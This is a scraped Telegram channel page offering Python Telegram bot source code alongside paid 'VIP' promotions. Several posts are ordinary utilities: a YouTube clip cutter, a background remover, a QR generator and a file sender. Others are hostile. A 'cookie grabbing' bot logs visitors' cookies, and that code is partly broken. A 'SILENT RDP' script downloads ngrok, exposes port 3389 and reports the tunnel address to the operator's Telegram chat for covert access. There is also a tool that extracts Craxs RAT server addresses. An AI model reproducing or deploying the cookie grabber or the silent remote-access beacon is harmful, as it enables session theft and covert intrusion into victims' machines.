Python Telegram Bots
733 subscribers
1 photo
3 videos
1 file
37 links
All types of python telegram bot with explanation. By @EFXTV

This channel is intended solely for educational and awareness purposes. Any illegal activity is a...

Backup Channel https://t.me/+_w-03ZG1E_thMDhl

Donate: https://buymeacoffee.com/efxtv
Download Telegram
Develop a Python bot which can create multiple YouTube Short videos for you.

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

✨ JOIN VIP

Create Telegram bot YoutubeShorts.py:

⚑️ First, install the necessary libraries: Save file as requirements.txt
pytube==11.0.0
moviepy==1.0.3
pyTelegramBotAPI==4.0.0


Run to install
pip install -r requirements.txt


import telebot
import re
from pytube import YouTube
from moviepy.editor import VideoFileClip

TOKEN = 'APITOCKEN_HERE'

bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Welcome! Send me a YouTube URL to get short clips. By t.me/efxtv")

@bot.message_handler(regexp=r'(https?://)?(www\.)?(youtube\.com|youtu\.be)/.+$')
def handle_youtube_url(message):
url = message.text.strip()
video_id = extract_video_id(url)
if video_id:
try:
video = YouTube(url)
clip_path = download_video(video)
duration = get_video_duration(clip_path)
timestamps = generate_timestamps(duration)
for start, end in timestamps:
short_clip_path = extract_clip(clip_path, start, end)
with open(short_clip_path, 'rb') as f:
bot.send_video(message.chat.id, f)
except Exception as e:
bot.reply_to(message, f"An error occurred: {e}")
else:
bot.reply_to(message, "Invalid YouTube URL")

def extract_video_id(url):
video_id_regex = r'(?:https?://)?(?:www\.)?(?:youtube\.com/watch\?v=|youtu\.be/)([a-zA-Z0-9_-]+)'
match = re.match(video_id_regex, url)
if match:
return match.group(1)
return None

def download_video(video):
stream = video.streams.get_highest_resolution()
return stream.download()

def get_video_duration(video_path):
clip = VideoFileClip(video_path)
duration = clip.duration
clip.close()
return duration

def generate_timestamps(duration):
timestamps = []
start = 0
while start < duration:
end = min(start + 30, duration)
timestamps.append((start, end))
start += 30
return timestamps

def extract_clip(video_path, start, end):
clip = VideoFileClip(video_path).subclip(start, end)
short_clip_path = f"clip_{start}_{end}.mp4"
clip.write_videofile(short_clip_path, codec='libx264')
return short_clip_path

bot.polling()


#python_Telegram_Bot
πŸ‘5πŸ‘Ž2
Cookie grabbing via Telegram bot

✨ JOIN VIP

import http.server
import http.cookies
from telegram.ext import Updater, CommandHandler

class CookieDumpHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()

self.wfile.write(b"<html><body><h1>Hello, world!</h1></body></html>")

cookies = http.cookies.SimpleCookie(self.headers.get('Cookie'))
with open('cookies.txt', 'a') as f:
for cookie in cookies.values():
cookie_str = f"{cookie.output(header='').strip()}\n"
f.write(cookie_str)
print("Cookies saved to cookies.txt")

def start(update, context):
update.message.reply_text("Click the link to access the server: http://your-server-address:8000")

def main():
updater = Updater("CANGE_ME", use_context=True)
dispatcher = updater.dispatcher

start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)

updater.start_polling()

run_server()

if __name__ == '__main__':
main()

#python_Telegram_Bot
πŸ‘8
Image Background Remover Telegram bot
Must create a downloads directory in pwd
✨ JOIN VIP

import os
import cv2
import numpy as np
from telegram import Update
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext

TOKEN = 'CHANGE_ME'

def start(update: Update, context: CallbackContext) -> None:
update.message.reply_text('Welcome! Send me an image and I will remove its background.')

def handle_image(update: Update, context: CallbackContext) -> None:
photo_file = update.message.photo[-1].get_file()
filename = os.path.join('downloads', 'image.jpg')
photo_file.download(filename)

processed_image = remove_background(filename)

update.message.reply_photo(photo=open(processed_image, 'rb'))

def remove_background(image_path):
image = cv2.imread(image_path)

mask = np.zeros(image.shape[:2], np.uint8)
backgroundModel = np.zeros((1, 65), np.float64)
foregroundModel = np.zeros((1, 65), np.float64)
rect = (50, 50, image.shape[1] - 50, image.shape[0] - 50)
cv2.grabCut(image, mask, rect, backgroundModel, foregroundModel, 5, cv2.GC_INIT_WITH_RECT)
mask2 = np.where((mask == 2) | (mask == 0), 0, 1).astype('uint8')
image = image * mask2[:, :, np.newaxis]

output_path = os.path.join('downloads', 'processed_image.jpg')
cv2.imwrite(output_path, image)

return output_path

def main() -> None:
updater = Updater(TOKEN)

dispatcher = updater.dispatcher

dispatcher.add_handler(CommandHandler("start", start))
dispatcher.add_handler(MessageHandler(Filters.photo & ~Filters.command, handle_image))

updater.start_polling()
updater.idle()

if __name__ == '__main__':
main()

#python_Telegram_Bot
πŸ‘12😁3❀2🀩1
Python Telegram Bots pinned Β«πŸ‘‰πŸ» VISIT THE LINK TO JOIN VIP ✨ JOIN VIP List of bots we will use in #python_telegram_bot_source_codes #bots ⚫️ Bot Father - How to use Bot Father ⚫️ User Info Bot - How to use User Info Bot Updating ...Β»
Hi
πŸ‘15😭4✍3πŸ‘1😁1
Hi
Thank you for your reactions (become motivation). We will soon begin posting more advanced Python Telegram bot content on Telegram. If you have any questions related to the bots, please feel free to reach out to the admins at @efxtv.

Share and support. Errors ? I'm here

Best regards,
@python_telegram_bot_source_codes
πŸ‘5❀4🀩3😐1
Link2QR Telegram bot in Python
Must create a directory Link2QR and copy files
✨ JOIN VIP (to get detailed script and support)
✨ We can create any kind of Telegram, Python or EXE bot for you

import logging
from telegram import Update, InputFile
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext
import qrcode
from io import BytesIO

TELEGRAM_TOKEN = 'CHANGE_ME_TOKEN'

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)

async def start(update: Update, context: CallbackContext):
await update.message.reply_text("Give me a link πŸ™‚")

async def handle_message(update: Update, context: CallbackContext):
user_input = update.message.text

qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(user_input)
qr.make(fit=True)

img = qr.make_image(fill='black', back_color='white')

buffer = BytesIO()
img.save(buffer, format='PNG')
buffer.seek(0)

await context.bot.send_photo(chat_id=update.effective_chat.id, photo=InputFile(buffer, filename='qr.png'))
await update.message.reply_text("Here is your QR code. You can scan it at scanqr.org")

def main():
application = Application.builder().token(TELEGRAM_TOKEN).build()

application.add_handler(CommandHandler('start', start))
application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))

application.run_polling()

if __name__ == '__main__':
main()


requirements.txt
python-telegram-bot==21.0
qrcode[pil]==7.3.0
Pillow==10.0.0

pip install -r requirements.txt

#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
πŸ‘6πŸ”₯3
Files2Telegram Bot
Must create a directory Files2Telegram and copy files
✨ JOIN VIP

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError
from telegram.ext import Application

BOT_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_file(bot, file_path):
try:
with open(file_path, 'rb') as file:
await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
print(f'Successfully sent: {file_path}')
except TelegramError as e:
print(f'Failed to send {file_path}. Error: {e}')
except FileNotFoundError:
print(f'File not found: {file_path}')

async def main(files):
bot = Bot(token=BOT_TOKEN)
if files and files[0] == '*':
for filename in os.listdir('.'):
if os.path.isfile(filename):
await send_file(bot, filename)
else:
for file_path in files:
await send_file(bot, file_path)

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Send files to Telegram.')
parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

args = parser.parse_args()
asyncio.run(main(args.files))


#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt


requirements.txt
python-telegram-bot
aiohttp

#telegrambot
#python_telegram_bot_source_codes
#python_Telegram_Bot
πŸ‘2πŸ”₯2
Files2Telegram Bot_Public
Must create a directory Files2Telegram and copy files
Add your bot to Public Group or Channel
✨ JOIN VIP

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError

BOT_TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = '@USERNAE_OF_GROUP_CHANNEL'

async def send_file(bot, file_path):
try:
with open(file_path, 'rb') as file:
await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
print(f'Successfully sent: {file_path}')
except TelegramError as e:
print(f'Failed to send {file_path}. Error: {e}')
except FileNotFoundError:
print(f'File not found: {file_path}')

async def main(files):
bot = Bot(token=BOT_TOKEN)
if files and files[0] == '*':
for filename in os.listdir('.'):
if os.path.isfile(filename):
await send_file(bot, filename)
else:
for file_path in files:
await send_file(bot, file_path)

if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Send files to a public Telegram bot.')
parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

args = parser.parse_args()
asyncio.run(main(args.files))

requirements.txt
python-telegram-bot
aiohttp


#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
πŸ‘6πŸ”₯3πŸ₯°2πŸ‘1
IP Port Extractor for Craxs RAT APK (Android Remote Tool)
✨ JOIN VIP (Fix errors and add more features)

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()

def decode_base64(encoded_str):
padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
decoded_bytes = base64.b64decode(padded_str)
return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
md5_hash = calculate_md5(apk_path)
results = []

with tempfile.TemporaryDirectory() as temp_dir:
result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if result.returncode != 0:
return "Error: jadx failed to decompile the APK."

java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

for file_path in java_files:
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()

host_matches = client_host_pattern.findall(content)
port_matches = client_port_pattern.findall(content)

if host_matches and port_matches:
host_base64 = host_matches[0]
port_base64 = port_matches[0]

try:
decoded_host = decode_base64(host_base64)
decoded_port = decode_base64(port_base64)
message = (f"IP: {decoded_host}\n"
f"Port: {decoded_port}\n"
f"Join: @EFXTV")
results.append(message)
except Exception as e:
results.append(f"Error decoding base64 strings: {e}")

return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
file = update.message.document
file_id = file.file_id
file_name = file.file_name
file_path = os.path.join(tempfile.gettempdir(), file_name)

try:
# Get the file object
telegram_file = await context.bot.get_file(file_id)
# Download the file
await telegram_file.download_to_drive(file_path)
# Process the APK file
message = extract_ips_and_ports_from_apk(file_path)
# Send the result back to the user
await update.message.reply_text(message)
except Exception as e:
await update.message.reply_text(f"An error occurred: {e}")
finally:
# Clean up the temporary file
if os.path.exists(file_path):
os.remove(file_path)

def main():
application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()

application.add_handler(CommandHandler('start', start))
application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

application.run_polling()

if __name__ == '__main__':
main()


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
πŸ‘14πŸ”₯6πŸ‘€3🀩2
Python Telegram Bots pinned Β«IP Port Extractor for Craxs RAT APK (Android Remote Tool) ✨ JOIN VIP (Fix errors and add more features) import os import base64 import hashlib import tempfile import glob import re import subprocess from telegram import Update from telegram.ext import Application…»
Python Telegram Bots pinned Β«Files2Telegram Bot_Public Must create a directory Files2Telegram and copy files Add your bot to Public Group or Channel ✨ JOIN VIP import argparse import os import asyncio from telegram import Bot from telegram.error import TelegramError BOT_TOKEN = 'YOUR_BOT_TOKEN'…»
Python Telegram Bots pinned Β«IP Port Extractor for Craxs RAT APK (Android Remote Tool) ✨ JOIN VIP (Fix errors and add more features) import os import base64 import hashlib import tempfile import glob import re import subprocess from telegram import Update from telegram.ext import Application…»
Thank you for your support! πŸ™

Join our Python 1000+ family and stay connected for updates.

Support us here πŸ˜„2: https://t.me/Best_AI_tools_everyday

I’ll work on bringing you more great tools soon!
πŸ‘3
Python Telegram Bots pinned Β«Thank you for your support! πŸ™ Join our Python 1000+ family and stay connected for updates. Support us here πŸ˜„2: https://t.me/Best_AI_tools_everyday I’ll work on bringing you more great tools soon!Β»
SILENT RDP Telegram Bot Source in Python
Enable RDP and gain silent access to your PC 24/7 via a Telegram bot
✨ JOIN VIP (Fix errors and add more features)

import requests
import json
import socket
import zipfile
import subprocess
import time
import os
from pathlib import Path
import asyncio
from telegram import Bot

TELEGRAM_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_to_telegram(message):
bot = Bot(token=TELEGRAM_TOKEN)
await bot.send_message(chat_id=CHAT_ID, text=message)

def startng():
ngrok_path = r'C:\temp\ngrok\ngrok.exe'

command = [ngrok_path, 'tcp', '3389']

with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
process = subprocess.Popen(command, stdout=log_file, stderr=log_file)
time.sleep(7)

return

def notexist():
os.makedirs(r'C:\temp\ngrok', exist_ok=True)
url = "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip"
output_path = r"C:\temp\ngrok\ngrok.zip"
extract_dir = r"C:\temp\ngrok"

response = requests.get(url, stream=True)

with open(output_path, "wb") as file:
for chunk in response.iter_content(chunk_size=8192):
file.write(chunk)

with zipfile.ZipFile(output_path, 'r') as zip_ref:
zip_ref.extractall(extract_dir)

command = r'C:\temp\ngrok\ngrok.exe config add-authtoken YOUR_AUTHTOKEN' # Replace with your ngrok authtoken
with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
subprocess.run(command, stdout=log_file, stderr=log_file, shell=True)

return


def exist():
url = "http://localhost:4040/api/tunnels"
response = requests.get(url)
data = response.json()

public_url = data['tunnels'][0]['public_url']
result = public_url.replace('tcp://', '')

IP, PO = result.split(':')

ip_address = socket.gethostbyname(IP)

# Prepare the message to send to Telegram
output_message = f"> IP: {ip_address}\n> PO: {PO}"

# Run the async function to send the message to Telegram
asyncio.run(send_to_telegram(output_message))

return

a = Path(r"C:\temp\ngrok\ngrok.exe")
# Check if the file exists and call the respective function
if a.exists():
startng()
exist()
else:
notexist()
startng()
exist()

#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
πŸ‘6❀2😭1
Media is too big
VIEW IN TELEGRAM
SILENT RDP Telegram Bot Source in Python

Enable RDP and gain silent access to your PC (LAN/WAN) 24/7 via a Telegram bot

[+] No Network Loss
[+] 24/7 Connection
[+] Easy Remote PC Access
[+] Join VIP to Unlock 10+ Cool Features

Source Code for you πŸ‘‰πŸ» Download Now

#telegrambot #rdp
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
πŸ‘3
Python Telegram Bots pinned Β«SILENT RDP Telegram Bot Source in Python Enable RDP and gain silent access to your PC 24/7 via a Telegram bot ✨ JOIN VIP (Fix errors and add more features) import requests import json import socket import zipfile import subprocess import time import os…»
Forwarded from Python Telegram Bots
IP Port Extractor for Craxs RAT APK (Android Remote Tool)
✨ JOIN VIP (Fix errors and add more features)

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
hash_md5 = hashlib.md5()
with open(file_path, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()

def decode_base64(encoded_str):
padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
decoded_bytes = base64.b64decode(padded_str)
return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
md5_hash = calculate_md5(apk_path)
results = []

with tempfile.TemporaryDirectory() as temp_dir:
result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
if result.returncode != 0:
return "Error: jadx failed to decompile the APK."

java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

for file_path in java_files:
with open(file_path, 'r', encoding='utf-8') as file:
content = file.read()

host_matches = client_host_pattern.findall(content)
port_matches = client_port_pattern.findall(content)

if host_matches and port_matches:
host_base64 = host_matches[0]
port_base64 = port_matches[0]

try:
decoded_host = decode_base64(host_base64)
decoded_port = decode_base64(port_base64)
message = (f"IP: {decoded_host}\n"
f"Port: {decoded_port}\n"
f"Join: @EFXTV")
results.append(message)
except Exception as e:
results.append(f"Error decoding base64 strings: {e}")

return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
file = update.message.document
file_id = file.file_id
file_name = file.file_name
file_path = os.path.join(tempfile.gettempdir(), file_name)

try:
# Get the file object
telegram_file = await context.bot.get_file(file_id)
# Download the file
await telegram_file.download_to_drive(file_path)
# Process the APK file
message = extract_ips_and_ports_from_apk(file_path)
# Send the result back to the user
await update.message.reply_text(message)
except Exception as e:
await update.message.reply_text(f"An error occurred: {e}")
finally:
# Clean up the temporary file
if os.path.exists(file_path):
os.remove(file_path)

def main():
application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()

application.add_handler(CommandHandler('start', start))
application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

application.run_polling()

if __name__ == '__main__':
main()


#telegrambot
#python_telegram_bot_source_codes
#python_telegram_bot_source_codes
πŸ‘3